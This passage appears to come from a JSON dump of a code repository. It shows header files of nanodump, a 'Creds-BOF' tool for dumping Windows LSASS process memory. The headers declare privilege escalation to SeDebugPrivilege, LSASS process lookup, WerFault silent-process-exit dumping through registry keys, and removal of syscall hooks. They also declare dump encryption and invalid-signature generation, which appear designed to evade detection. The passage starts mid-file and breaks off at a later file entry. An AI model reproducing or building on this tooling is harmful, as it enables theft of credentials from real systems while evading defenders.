WNF_TYPE_ID, *PWNF_TYPE_ID;\n\ntypedef const WNF_STATE_NAME *PCWNF_STATE_NAME;\n\ntypedef const WNF_TYPE_ID *PCWNF_TYPE_ID;\n\ntypedef ULONG WNF_CHANGE_STAMP, *PWNF_CHANGE_STAMP;\n\ntypedef struct _ALPC_MESSAGE_ATTRIBUTES\n{\n\tunsigned long AllocatedAttributes;\n\tunsigned long ValidAttributes;\n} ALPC_MESSAGE_ATTRIBUTES, *PALPC_MESSAGE_ATTRIBUTES;\n\ntypedef struct _ALPC_PORT_ATTRIBUTES\n{\n\tULONG                       Flags;\n\tSECURITY_QUALITY_OF_SERVICE SecurityQos;\n\tSIZE_T                      MaxMessageLength;\n\tSIZE_T                      MemoryBandwidth;\n\tSIZE_T                      MaxPoolUsage;\n\tSIZE_T                      MaxSectionSize;\n\tSIZE_T                      MaxViewSize;\n\tSIZE_T                      MaxTotalSectionSize;\n\tULONG                       DupObjectTypes;\n#ifdef _WIN64\n\tULONG                       Reserved;\n#endif\n} ALPC_PORT_ATTRIBUTES, *PALPC_PORT_ATTRIBUTES;\n\ntypedef short CSHORT;\ntypedef struct _QUAD\n{\n\tunion\n\t{\n\t\tINT64 UseThisFieldToCopy;\n\t\tfloat DoNotUseThisField;\n\t};\n} QUAD, * PQUAD;\n\ntypedef struct PORT_MESSAGE\n{\n\tunion\n\t{\n\t\tstruct\n\t\t{\n\t\t\tCSHORT DataLength;\n\t\t\tCSHORT TotalLength;\n\t\t} s1;\n\t\tULONG Length;\n\t} u1;\n\tunion\n\t{\n\t\tstruct\n\t\t{\n\t\t\tCSHORT Type;\n\t\t\tCSHORT DataInfoOffset;\n\t\t} s2;\n\t\tULONG ZeroInit;\n\t} u2;\n\tunion\n\t{\n\t\tCLIENT_ID ClientId;\n\t\tQUAD DoNotUseThisField;\n\t};\n\tULONG MessageId;\n\tunion\n\t{\n\t\tSIZE_T ClientViewSize;\n\t\tULONG CallbackId;\n\t};\n} PORT_MESSAGE, * PPORT_MESSAGE;\n\n// WER_API_MESSAGE should probably be just one struct\n// I didn't not find this structure documented\n\ntypedef struct _WER_API_MESSAGE_SEND\n{\n    PORT_MESSAGE port_message;\n    ULONG32 value1;\n    ULONG32 value2;\n    DWORD ThreadId;\n    DWORD ProcessId;\n    DWORD TargetProcessId;\n    BYTE empty[0x538];\n} WER_API_MESSAGE_SEND, *PWER_API_MESSAGE_SEND;\n\ntypedef struct _WER_API_MESSAGE_RECV\n{\n    PORT_MESSAGE port_message;\n    ULONG32 value1;\n    ULONG32 value2;\n    HANDLE Handle;\n    DWORD TargetProcessId;\n    BYTE empty[0x538];\n} WER_API_MESSAGE_RECV, *PWER_API_MESSAGE_RECV;\n\ntypedef struct _ReportExceptionWerAlpcMessage\n{\n    PORT_MESSAGE PortMessage;\n    DWORD MessageType;\n    NTSTATUS NtStatusErrorCode;\n    DWORD Flags;\n    DWORD TargetProcessId;\n    HANDLE hFileMapping;\n#ifndef _WIN64\n    DWORD Filler0;\n#endif\n    HANDLE hRecoveryEvent;\n#ifndef _WIN64\n    DWORD Filler1;\n#endif\n    HANDLE hCompletionEvent;\n#ifndef _WIN64\n    DWORD Filler2;\n#endif\n    HANDLE hFileMapping2;\n#ifndef _WIN64\n    DWORD Filler3;\n#endif\n    HANDLE hTargetProcess;\n#ifndef _WIN64\n    DWORD Filler4;\n#endif\n    HANDLE hTargetThread;\n#ifndef _WIN64\n    DWORD Filler5;\n#endif\n    DWORD Filler6[324];\n} ReportExceptionWerAlpcMessage, *PReportExceptionWerAlpcMessage;\n\ntypedef struct _PS_ATTRIBUTE\n{\n\tULONG  Attribute;\n\tSIZE_T Size;\n\tunion\n\t{\n\t\tULONG Value;\n\t\tPVOID ValuePtr;\n\t} u1;\n\tPSIZE_T ReturnLength;\n} PS_ATTRIBUTE, *PPS_ATTRIBUTE;\n\ntypedef struct _PS_ATTRIBUTE_LIST\n{\n\tSIZE_T       TotalLength;\n\tPS_ATTRIBUTE Attributes[1];\n} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;\n\ntypedef enum _EVENT_TYPE\n{\n\tNotificationEvent = 0,\n\tSynchronizationEvent = 1,\n} EVENT_TYPE, *PEVENT_TYPE;\n\ntypedef struct _THREAD_BASIC_INFORMATION {\n  NTSTATUS                ExitStatus;\n  PVOID                   TebBaseAddress;\n  CLIENT_ID               ClientId;\n  KAFFINITY               AffinityMask;\n  KPRIORITY               Priority;\n  KPRIORITY               BasePriority;\n} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;\n\ntypedef enum _SECTION_INHERIT\n{\n\tViewShare = 1,\n\tViewUnmap = 2\n} SECTION_INHERIT, *PSECTION_INHERIT;\n\nEXTERN_C NTSTATUS NtOpenProcess(\n\tOUT PHANDLE ProcessHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN POBJECT_ATTRIBUTES ObjectAttributes,\n\tIN PVOID ClientId OPTIONAL);\n\nEXTERN_C NTSTATUS NtGetNextProcess(\n\tIN HANDLE ProcessHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN ULONG HandleAttributes,\n\tIN ULONG Flags,\n\tOUT PHANDLE NewProcessHandle);\n\nEXTERN_C NTSTATUS NtReadVirtualMemory(\n\tIN HANDLE ProcessHandle,\n\tIN PVOID BaseAddress,\n\tOUT PVOID Buffer,\n\tIN SIZE_T BufferSize,\n\tOUT PSIZE_T NumberOfBytesRead OPTIONAL);\n\nEXTERN_C NTSTATUS NtClose(\n\tIN HANDLE Handle);\n\nEXTERN_C NTSTATUS NtOpenProcessToken(\n\tIN HANDLE ProcessHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tOUT PHANDLE TokenHandle);\n\nEXTERN_C NTSTATUS NtQueryInformationProcess(\n\tIN HANDLE ProcessHandle,\n\tIN PROCESSINFOCLASS ProcessInformationClass,\n\tOUT PVOID ProcessInformation,\n\tIN ULONG ProcessInformationLength,\n\tOUT PULONG ReturnLength OPTIONAL);\n\nEXTERN_C NTSTATUS NtQueryVirtualMemory(\n\tIN HANDLE ProcessHandle,\n\tIN PVOID BaseAddress,\n\tIN MEMORY_INFORMATION_CLASS MemoryInformationClass,\n\tOUT PVOID MemoryInformation,\n\tIN SIZE_T MemoryInformationLength,\n\tOUT PSIZE_T ReturnLength OPTIONAL);\n\nEXTERN_C NTSTATUS NtAdjustPrivilegesToken(\n\tIN HANDLE TokenHandle,\n\tIN BOOLEAN DisableAllPrivileges,\n\tIN PTOKEN_PRIVILEGES NewState OPTIONAL,\n\tIN ULONG BufferLength,\n\tOUT PTOKEN_PRIVILEGES PreviousState OPTIONAL,\n\tOUT PULONG ReturnLength OPTIONAL);\n\nEXTERN_C NTSTATUS NtAllocateVirtualMemory(\n\tIN HANDLE ProcessHandle,\n\tIN OUT PVOID * BaseAddress,\n\tIN ULONG ZeroBits,\n\tIN OUT PSIZE_T RegionSize,\n\tIN ULONG AllocationType,\n\tIN ULONG Protect);\n\nEXTERN_C NTSTATUS NtFreeVirtualMemory(\n\tIN HANDLE ProcessHandle,\n\tIN OUT PVOID * BaseAddress,\n\tIN OUT PSIZE_T RegionSize,\n\tIN ULONG FreeType);\n\nEXTERN_C NTSTATUS NtCreateFile(\n\tOUT PHANDLE FileHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN POBJECT_ATTRIBUTES ObjectAttributes,\n\tOUT PIO_STATUS_BLOCK IoStatusBlock,\n\tIN PLARGE_INTEGER AllocationSize OPTIONAL,\n\tIN ULONG FileAttributes,\n\tIN ULONG ShareAccess,\n\tIN ULONG CreateDisposition,\n\tIN ULONG CreateOptions,\n\tIN PVOID EaBuffer OPTIONAL,\n\tIN ULONG EaLength);\n\nEXTERN_C NTSTATUS NtWriteFile(\n\tIN HANDLE FileHandle,\n\tIN HANDLE Event OPTIONAL,\n\tIN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n\tIN PVOID ApcContext OPTIONAL,\n\tOUT PIO_STATUS_BLOCK IoStatusBlock,\n\tIN PVOID Buffer,\n\tIN ULONG Length,\n\tIN PLARGE_INTEGER ByteOffset OPTIONAL,\n\tIN PULONG Key OPTIONAL);\n\nEXTERN_C NTSTATUS NtCreateProcessEx(\n\tOUT PHANDLE ProcessHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n\tIN HANDLE ParentProcess,\n\tIN ULONG Flags,\n\tIN HANDLE SectionHandle OPTIONAL,\n\tIN HANDLE DebugPort OPTIONAL,\n\tIN HANDLE ExceptionPort OPTIONAL,\n\tIN ULONG JobMemberLevel);\n\nNTSTATUS NtQuerySystemInformation(\n\tIN SYSTEM_INFORMATION_CLASS SystemInformationClass,\n\tIN OUT PVOID SystemInformation,\n\tIN ULONG SystemInformationLength,\n\tOUT PULONG ReturnLength OPTIONAL);\n\nNTSTATUS NtDuplicateObject(\n\tIN HANDLE SourceProcessHandle,\n\tIN HANDLE SourceHandle,\n\tIN HANDLE TargetProcessHandle OPTIONAL,\n\tOUT PHANDLE TargetHandle OPTIONAL,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN ULONG HandleAttributes,\n\tIN ULONG Options);\n\nNTSTATUS NtQueryObject_(\n\tIN HANDLE Handle,\n\tIN OBJECT_INFORMATION_CLASS ObjectInformationClass,\n\tOUT PVOID ObjectInformation OPTIONAL,\n\tIN ULONG ObjectInformationLength,\n\tOUT PULONG ReturnLength OPTIONAL);\n\nNTSTATUS NtWaitForSingleObject(\n\tIN HANDLE ObjectHandle,\n\tIN BOOLEAN Alertable,\n\tIN PLARGE_INTEGER TimeOut OPTIONAL);\n\nNTSTATUS NtDeleteFile(\n\tIN POBJECT_ATTRIBUTES ObjectAttributes);\n\nNTSTATUS NtTerminateProcess(\n\tIN HANDLE ProcessHandle OPTIONAL,\n\tIN NTSTATUS ExitStatus);\n\nEXTERN_C NTSTATUS NtSetInformationProcess_(\n\tIN HANDLE DeviceHandle,\n\tIN PROCESSINFOCLASS ProcessInformationClass,\n\tIN PVOID ProcessInformation,\n\tIN ULONG Length);\n\nEXTERN_C NTSTATUS NtQueryInformationToken(\n\tIN HANDLE TokenHandle,\n\tIN TOKEN_INFORMATION_CLASS TokenInformationClass,\n\tOUT PVOID TokenInformation,\n\tIN ULONG TokenInformationLength,\n\tOUT PULONG ReturnLength);\n\nEXTERN_C NTSTATUS NtDuplicateToken(\n\tIN HANDLE ExistingTokenHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN POBJECT_ATTRIBUTES ObjectAttributes,\n\tIN BOOLEAN EffectiveOnly,\n\tIN TOKEN_TYPE TokenType,\n\tOUT PHANDLE NewTokenHandle);\n\nEXTERN_C NTSTATUS NTAPI NtSetInformationThread(\n\tIN HANDLE ThreadHandle,\n\tIN THREADINFOCLASS ThreadInformationClass,\n\tIN PVOID ThreadInformation,\n\tIN ULONG ThreadInformationLength);\n\nEXTERN_C NTSTATUS NtCreateDirectoryObjectEx(\n\tOUT PHANDLE DirectoryHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN POBJECT_ATTRIBUTES ObjectAttributes,\n\tIN HANDLE ShadowDirectoryHandle,\n\tIN ULONG Flags);\n\nEXTERN_C NTSTATUS NtCreateSymbolicLinkObject(\n\tOUT PHANDLE LinkHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN POBJECT_ATTRIBUTES ObjectAttributes,\n\tIN PUNICODE_STRING LinkTarget);\n\nEXTERN_C NTSTATUS NtOpenSymbolicLinkObject(\n\tOUT PHANDLE LinkHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN POBJECT_ATTRIBUTES ObjectAttributes);\n\nEXTERN_C NTSTATUS NtQuerySymbolicLinkObject(\n\tIN HANDLE LinkHandle,\n\tIN OUT PUNICODE_STRING LinkTarget,\n\tOUT PULONG ReturnedLength OPTIONAL);\n\nEXTERN_C NTSTATUS NtCreateSection(\n\tOUT PHANDLE SectionHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n\tIN PLARGE_INTEGER MaximumSize OPTIONAL,\n\tIN ULONG SectionPageProtection,\n\tIN ULONG AllocationAttributes,\n\tIN HANDLE FileHandle OPTIONAL);\n\nEXTERN_C NTSTATUS NtOpenThreadToken(\n\tIN HANDLE ThreadHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN BOOLEAN OpenAsSelf,\n\tOUT PHANDLE TokenHandle);\n\nEXTERN_C NTSTATUS NtCreateTransaction(\n\tOUT PHANDLE TransactionHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n\tIN LPGUID Uow OPTIONAL,\n\tIN HANDLE TmHandle OPTIONAL,\n\tIN ULONG CreateOptions OPTIONAL,\n\tIN ULONG IsolationLevel OPTIONAL,\n\tIN ULONG IsolationFlags OPTIONAL,\n\tIN PLARGE_INTEGER Timeout OPTIONAL,\n\tIN PUNICODE_STRING Description OPTIONAL);\n\nEXTERN_C NTSTATUS NtQueryInformationFile(\n\tIN HANDLE FileHandle,\n\tOUT PIO_STATUS_BLOCK IoStatusBlock,\n\tOUT PVOID FileInformation,\n\tIN ULONG Length,\n\tIN FILE_INFORMATION_CLASS FileInformationClass);\n\nEXTERN_C NTSTATUS NtMakeTemporaryObject(\n\tIN HANDLE Handle);\n\nEXTERN_C NTSTATUS NtCreateKey(\n\tOUT PHANDLE KeyHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN POBJECT_ATTRIBUTES ObjectAttributes,\n\tIN ULONG TitleIndex,\n\tIN PUNICODE_STRING Class OPTIONAL,\n\tIN ULONG CreateOptions,\n\tOUT PULONG Disposition OPTIONAL);\n\nEXTERN_C NTSTATUS NtSetValueKey(\n\tIN HANDLE KeyHandle,\n\tIN PUNICODE_STRING ValueName,\n\tIN ULONG TitleIndex OPTIONAL,\n\tIN ULONG Type,\n\tIN PVOID SystemData,\n\tIN ULONG DataSize);\n\nEXTERN_C NTSTATUS NtQueryWnfStateNameInformation(\n\tIN PVOID StateName,\n\tIN ULONG NameInfoClass,\n\tIN PVOID ExplicitScope OPTIONAL,\n\tOUT PVOID InfoBuffer,\n\tIN ULONG InfoBufferSize);\n\nEXTERN_C NTSTATUS NtUpdateWnfStateData(\n\tIN PVOID StateName,\n\tIN PVOID Buffer OPTIONAL,\n\tIN ULONG Length OPTIONAL,\n\tIN PCWNF_TYPE_ID TypeId OPTIONAL,\n\tIN PVOID ExplicitScope OPTIONAL,\n\tIN WNF_CHANGE_STAMP MatchingChangeStamp,\n\tIN ULONG CheckStamp);\n\nEXTERN_C NTSTATUS NtOpenEvent(\n\tOUT PHANDLE EventHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN POBJECT_ATTRIBUTES ObjectAttributes);\n\nEXTERN_C NTSTATUS NtAlpcConnectPort(\n\tOUT PHANDLE PortHandle,\n\tIN PUNICODE_STRING PortName,\n\tIN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n\tIN PALPC_PORT_ATTRIBUTES PortAttributes OPTIONAL,\n\tIN ULONG Flags,\n\tIN PSID RequiredServerSid OPTIONAL,\n\tIN OUT PVOID ConnectionMessage OPTIONAL,\n\tIN OUT PULONG BufferLength OPTIONAL,\n\tIN OUT PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes OPTIONAL,\n\tIN OUT PALPC_MESSAGE_ATTRIBUTES InMessageAttributes OPTIONAL,\n\tIN PLARGE_INTEGER Timeout OPTIONAL);\n\nEXTERN_C NTSTATUS NtAlpcSendWaitReceivePort(\n\tIN HANDLE PortHandle,\n\tIN ULONG Flags,\n\tIN PPORT_MESSAGE SendMessage OPTIONAL,\n\tIN OUT PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes OPTIONAL,\n\tOUT PPORT_MESSAGE ReceiveMessage OPTIONAL,\n\tIN OUT PSIZE_T BufferLength OPTIONAL,\n\tIN OUT PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes OPTIONAL,\n\tIN PLARGE_INTEGER Timeout OPTIONAL);\n\nEXTERN_C NTSTATUS NtCreateThreadEx(\n\tOUT PHANDLE ThreadHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n\tIN HANDLE ProcessHandle,\n\tIN PVOID StartRoutine,\n\tIN PVOID Argument OPTIONAL,\n\tIN ULONG CreateFlags,\n\tIN SIZE_T ZeroBits,\n\tIN SIZE_T StackSize,\n\tIN SIZE_T MaximumStackSize,\n\tIN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);\n\nEXTERN_C NTSTATUS NtDeleteKey(\n\tIN HANDLE KeyHandle);\n\nEXTERN_C NTSTATUS NtPrivilegeCheck(\n\tIN HANDLE ClientToken,\n\tIN OUT PPRIVILEGE_SET RequiredPrivileges,\n\tOUT PBOOL Result);\n\nEXTERN_C NTSTATUS NtCreateEvent(\n\tOUT PHANDLE EventHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n\tIN EVENT_TYPE EventType,\n\tIN BOOLEAN InitialState);\n\nEXTERN_C NTSTATUS NtTerminateThread(\n\tIN HANDLE ThreadHandle,\n\tIN NTSTATUS ExitStatus);\n\nEXTERN_C NTSTATUS _NtFsControlFile(\n\tIN HANDLE FileHandle,\n\tIN HANDLE Event OPTIONAL,\n\tIN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n\tIN PVOID ApcContext OPTIONAL,\n\tOUT PIO_STATUS_BLOCK IoStatusBlock,\n\tIN ULONG FsControlCode,\n\tIN PVOID InputBuffer OPTIONAL,\n\tIN ULONG InputBufferLength,\n\tOUT PVOID OutputBuffer OPTIONAL,\n\tIN ULONG OutputBufferLength);\n\nEXTERN_C NTSTATUS NtGetContextThread(\n\tIN HANDLE ThreadHandle,\n\tIN OUT PCONTEXT ThreadContext);\n\nEXTERN_C NTSTATUS NtSetContextThread(\n\tIN HANDLE ThreadHandle,\n\tIN PCONTEXT Context);\n\nEXTERN_C NTSTATUS NtResumeThread(\n\tIN HANDLE ThreadHandle,\n\tIN OUT PULONG PreviousSuspendCount OPTIONAL);\n\nEXTERN_C NTSTATUS NtDelayExecution(\n\tIN BOOLEAN Alertable,\n\tIN PLARGE_INTEGER DelayInterval);\n\nEXTERN_C NTSTATUS NtGetNextThread(\n\tIN HANDLE ProcessHandle,\n\tIN HANDLE ThreadHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN ULONG HandleAttributes,\n\tIN ULONG Flags,\n\tOUT PHANDLE NewThreadHandle);\n\nEXTERN_C NTSTATUS _NtQueryInformationThread(\n\tIN HANDLE ThreadHandle,\n\tIN THREADINFOCLASS ThreadInformationClass,\n\tOUT PTHREAD_BASIC_INFORMATION ThreadInformation,\n\tIN ULONG ThreadInformationLength,\n\tOUT PULONG ReturnLength OPTIONAL);\n\nEXTERN_C NTSTATUS NtOpenThread(\n\tOUT PHANDLE ThreadHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN POBJECT_ATTRIBUTES ObjectAttributes,\n\tIN CLIENT_ID* ClientId OPTIONAL);\n\nEXTERN_C NTSTATUS NtMapViewOfSection(\n\tIN HANDLE SectionHandle,\n\tIN HANDLE ProcessHandle,\n\tIN OUT PVOID BaseAddress,\n\tIN ULONG ZeroBits,\n\tIN SIZE_T CommitSize,\n\tIN OUT PLARGE_INTEGER SectionOffset OPTIONAL,\n\tIN OUT PSIZE_T ViewSize,\n\tIN SECTION_INHERIT InheritDisposition,\n\tIN ULONG AllocationType,\n\tIN ULONG Win32Protect);\n\nEXTERN_C NTSTATUS NtUnmapViewOfSection(\n\tIN HANDLE ProcessHandle,\n\tIN PVOID BaseAddress);\n\nEXTERN_C NTSTATUS NtImpersonateThread(\n    IN HANDLE ThreadHandle,\n    IN HANDLE ThreadToImpersonate,\n    IN PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService);\n\n#endif\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/token_priv.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <winternl.h>\n\n#include \"utils.h\"\n#include \"dinvoke.h\"\n\ntypedef BOOL(WINAPI* LookupPrivilegeValueW_t) (LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid);\ntypedef BOOL(WINAPI* LookupPrivilegeNameW_t) (LPCSTR lpSystemName, PLUID lpLuid, LPWSTR lpName, LPDWORD cchName);\n\n#define LookupPrivilegeValueW_SW2_HASH 0xD496970C\n#define LookupPrivilegeNameW_SW2_HASH 0x11A5C11E\n\n#define SeDebugPrivilege L\"SeDebugPrivilege\"\n\nBOOL enable_impersonate_priv(VOID);\n\nBOOL enable_debug_priv(VOID);\n\nBOOL check_token_privileges(\n    IN HANDLE hToken OPTIONAL,\n    IN LPCWSTR ppwszRequiredPrivileges[],\n    IN ULONG32 dwNumRequiredPrivileges,\n    IN BOOL bEnablePrivilege);\n\nBOOL check_token_privilege(\n    IN HANDLE hToken OPTIONAL,\n    IN LPCWSTR pwszPrivilege,\n    IN BOOL bEnablePrivilege);\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/utils.h",
    "content": "#pragma once\n\n#include \"nanodump.h\"\n#include \"ntdefs.h\"\n#include \"output.h\"\n\n#define UNUSED(x) (void)(x)\n\n#if defined(_MSC_VER)\n #define ProcessInstrumentationCallback 40\n#endif\n\ntypedef struct _linked_list\n{\n    struct _linked_list* next;\n} linked_list, *Plinked_list;\n\n#define intAlloc(size) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size)\n#define intFree(addr) HeapFree(GetProcessHeap(), 0, addr)\n#define DATA_FREE(d, l) \\\n    if (d) { \\\n        memset(d, 0, l); \\\n        intFree(d); \\\n        d = NULL; \\\n    }\n\n#define RVA(type, base_addr, rva) (type)(ULONG_PTR)((ULONG_PTR) base_addr + rva)\n\ntypedef DWORD(WINAPI* GetEnvironmentVariableW_t) (LPCWSTR lpName, LPWSTR lpBuffer, DWORD nSize);\n\n#define GetEnvironmentVariableW_SW2_HASH 0x2F9C600B\n\n#ifdef _WIN64\n #define CID_OFFSET 0x40\n #define TEB_OFFSET 0x30\n #define PEB_OFFSET 0x60\n #define READ_MEMLOC __readgsqword\n#else\n #define CID_OFFSET 0x20\n #define TEB_OFFSET 0x18\n #define PEB_OFFSET 0x30\n #define READ_MEMLOC __readfsdword\n#endif\n\ntypedef enum  {\n  PSS_CAPTURE_NONE = 0x00000000,\n  PSS_CAPTURE_VA_CLONE = 0x00000001,\n  PSS_CAPTURE_RESERVED_00000002 = 0x00000002,\n  PSS_CAPTURE_HANDLES = 0x00000004,\n  PSS_CAPTURE_HANDLE_NAME_INFORMATION = 0x00000008,\n  PSS_CAPTURE_HANDLE_BASIC_INFORMATION = 0x00000010,\n  PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION = 0x00000020,\n  PSS_CAPTURE_HANDLE_TRACE = 0x00000040,\n  PSS_CAPTURE_THREADS = 0x00000080,\n  PSS_CAPTURE_THREAD_CONTEXT = 0x00000100,\n  PSS_CAPTURE_THREAD_CONTEXT_EXTENDED = 0x00000200,\n  PSS_CAPTURE_RESERVED_00000400 = 0x00000400,\n  PSS_CAPTURE_VA_SPACE = 0x00000800,\n  PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION = 0x00001000,\n  PSS_CAPTURE_IPT_TRACE = 0x00002000,\n  PSS_CAPTURE_RESERVED_00004000,\n  PSS_CREATE_BREAKAWAY_OPTIONAL = 0x04000000,\n  PSS_CREATE_BREAKAWAY = 0x08000000,\n  PSS_CREATE_FORCE_BREAKAWAY = 0x10000000,\n  PSS_CREATE_USE_VM_ALLOCATIONS = 0x20000000,\n  PSS_CREATE_MEASURE_PERFORMANCE = 0x40000000,\n  PSS_CREATE_RELEASE_SECTION = 0x80000000\n} PSS_CAPTURE_FLAGS;\n\ntypedef enum  {\n  PSS_QUERY_PROCESS_INFORMATION = 0,\n  PSS_QUERY_VA_CLONE_INFORMATION = 1,\n  PSS_QUERY_AUXILIARY_PAGES_INFORMATION = 2,\n  PSS_QUERY_VA_SPACE_INFORMATION = 3,\n  PSS_QUERY_HANDLE_INFORMATION = 4,\n  PSS_QUERY_THREAD_INFORMATION = 5,\n  PSS_QUERY_HANDLE_TRACE_INFORMATION = 6,\n  PSS_QUERY_PERFORMANCE_COUNTERS = 7\n} PSS_QUERY_INFORMATION_CLASS;\n\nstruct _CURDIR\n{\n    struct _UNICODE_STRING DosPath;\n    VOID* Handle;\n};\n\ntypedef struct _PROCESS_PARAMETERS\n{\n    ULONG MaximumLength;\n    ULONG Length;\n    ULONG Flags;\n    ULONG DebugFlags;\n    VOID* ConsoleHandle;\n    ULONG ConsoleFlags;\n    VOID* StandardInput;\n    VOID* StandardOutput;\n    VOID* StandardError;\n    struct _CURDIR CurrentDirectory;\n    struct _UNICODE_STRING DllPath;\n    struct _UNICODE_STRING ImagePathName;\n    struct _UNICODE_STRING CommandLine;\n} PROCESS_PARAMETERS, *PPROCESS_PARAMETERS;\n\ntypedef struct _PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION\n{\n    ULONG Version;\n    ULONG Reserved;\n    PVOID Callback;\n} PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION, *PPROCESS_INSTRUMENTATION_CALLBACK_INFORMATION;\n\nBOOL print_shtinkering_crash_location(VOID);\n\nBOOL get_env_var(\n    IN LPWSTR name,\n    OUT LPWSTR value,\n    IN DWORD size);\n\nDWORD get_tick_count(VOID);\n\nBOOL find_process_id_by_name(\n    IN LPCSTR process_name,\n    OUT PDWORD pPid);\n\nBOOL is_full_path(\n    IN LPCSTR filename);\n\nVOID get_full_path(\n    OUT PUNICODE_STRING full_dump_path,\n    IN LPCSTR filename);\n\nLPCWSTR get_cwd(VOID);\n\nBOOL write_file(\n    IN PUNICODE_STRING full_dump_path,\n    IN PBYTE fileData,\n    IN ULONG32 fileLength);\n\nBOOL create_file(\n    IN PUNICODE_STRING full_dump_path);\n\nBOOL download_file(\n    IN DWORD chunk_size,\n    IN LPCSTR fileName,\n    IN char fileData[],\n    IN ULONG32 fileLength);\n\nBOOL delete_file(\n    IN LPCSTR filepath);\n\nBOOL file_exists(\n    IN LPCSTR filepath);\n\nBOOL create_folder(\n    IN LPCSTR folderpath);\n\nBOOL wait_for_process(\n    IN HANDLE hProcess);\n\nBOOL get_process_image(\n    IN HANDLE hProcess,\n    OUT PUNICODE_STRING* process_image,\n    OUT PULONG buffer_size);\n\nBOOL is_lsass(\n    IN HANDLE hProcess);\n\nDWORD get_pid(\n    IN HANDLE hProcess);\n\nDWORD get_tid(\n    IN HANDLE hThread);\n\nBOOL kill_process(\n    IN DWORD pid,\n    IN HANDLE hProcess);\n\nDWORD get_lsass_pid(VOID);\n\nBOOL remove_syscall_callback_hook(VOID);\n\nVOID print_success(\n    IN LPCSTR dump_path,\n    IN BOOL use_valid_sig,\n    IN BOOL write_dump_to_disk);\n\nVOID free_linked_list(\n    IN PVOID head,\n    IN ULONG node_size);\n\nPVOID allocate_memory(\n    OUT PSIZE_T region_size);\n\nVOID encrypt_dump(\n    IN PVOID base_address,\n    IN SIZE_T region_size);\n\nVOID erase_dump_from_memory(\n    IN PVOID base_address,\n    IN SIZE_T region_size);\n\nVOID generate_invalid_sig(\n    OUT PULONG32 Signature,\n    OUT PUSHORT Version,\n    OUT PUSHORT ImplementationVersion);\n\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/werfault.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <winternl.h>\n\n#include \"ntdefs.h\"\n#include \"dinvoke.h\"\n#include \"syscalls.h\"\n\n#define SystemErrorPortTimeouts 0x73\n\ntypedef VOID(WINAPI *RtlInitUnicodeString_t)(PUNICODE_STRING DestinationString, PCWSTR SourceString);\ntypedef NTSTATUS(NTAPI *RtlAppendUnicodeToString_t)(PUNICODE_STRING Destination, PCWSTR Source);\ntypedef VOID(WINAPI *RtlFreeUnicodeString_t)(PUNICODE_STRING UnicodeString);\ntypedef NTSTATUS(NTAPI* RtlReportSilentProcessExit_t) (HANDLE ProcessHandle, NTSTATUS ExitStatus);\n\n#define RtlInitUnicodeString_SW2_HASH 0x7B6E73FC\n#define RtlAppendUnicodeToString_SW2_HASH 0x8626F2C6\n#define RtlFreeUnicodeString_SW2_HASH 0x68A85C74\n#define RtlReportSilentProcessExit_SW2_HASH 0x91BFF14B\n\n#define IFEO_REG_KEY L\"\\\\Registry\\\\Machine\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\\"\n#define SILENT_PROCESS_EXIT_REG_KEY L\"\\\\Registry\\\\Machine\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SilentProcessExit\\\\\"\n#define LOCAL_DUMP 0x2\n#define FLG_MONITOR_SILENT_PROCESS_EXIT 0x200\n#define MiniDumpWithFullMemory 0x2\n\nBOOL werfault_silent_process_exit(\n    DWORD lsass_pid,\n    LPCSTR dump_folder);\n\nBOOL werfault_create_thread(\n    HANDLE hProcess);\n"
  },
  {
    "path": "Creds-BOF/nanodump/nanodump.axs",
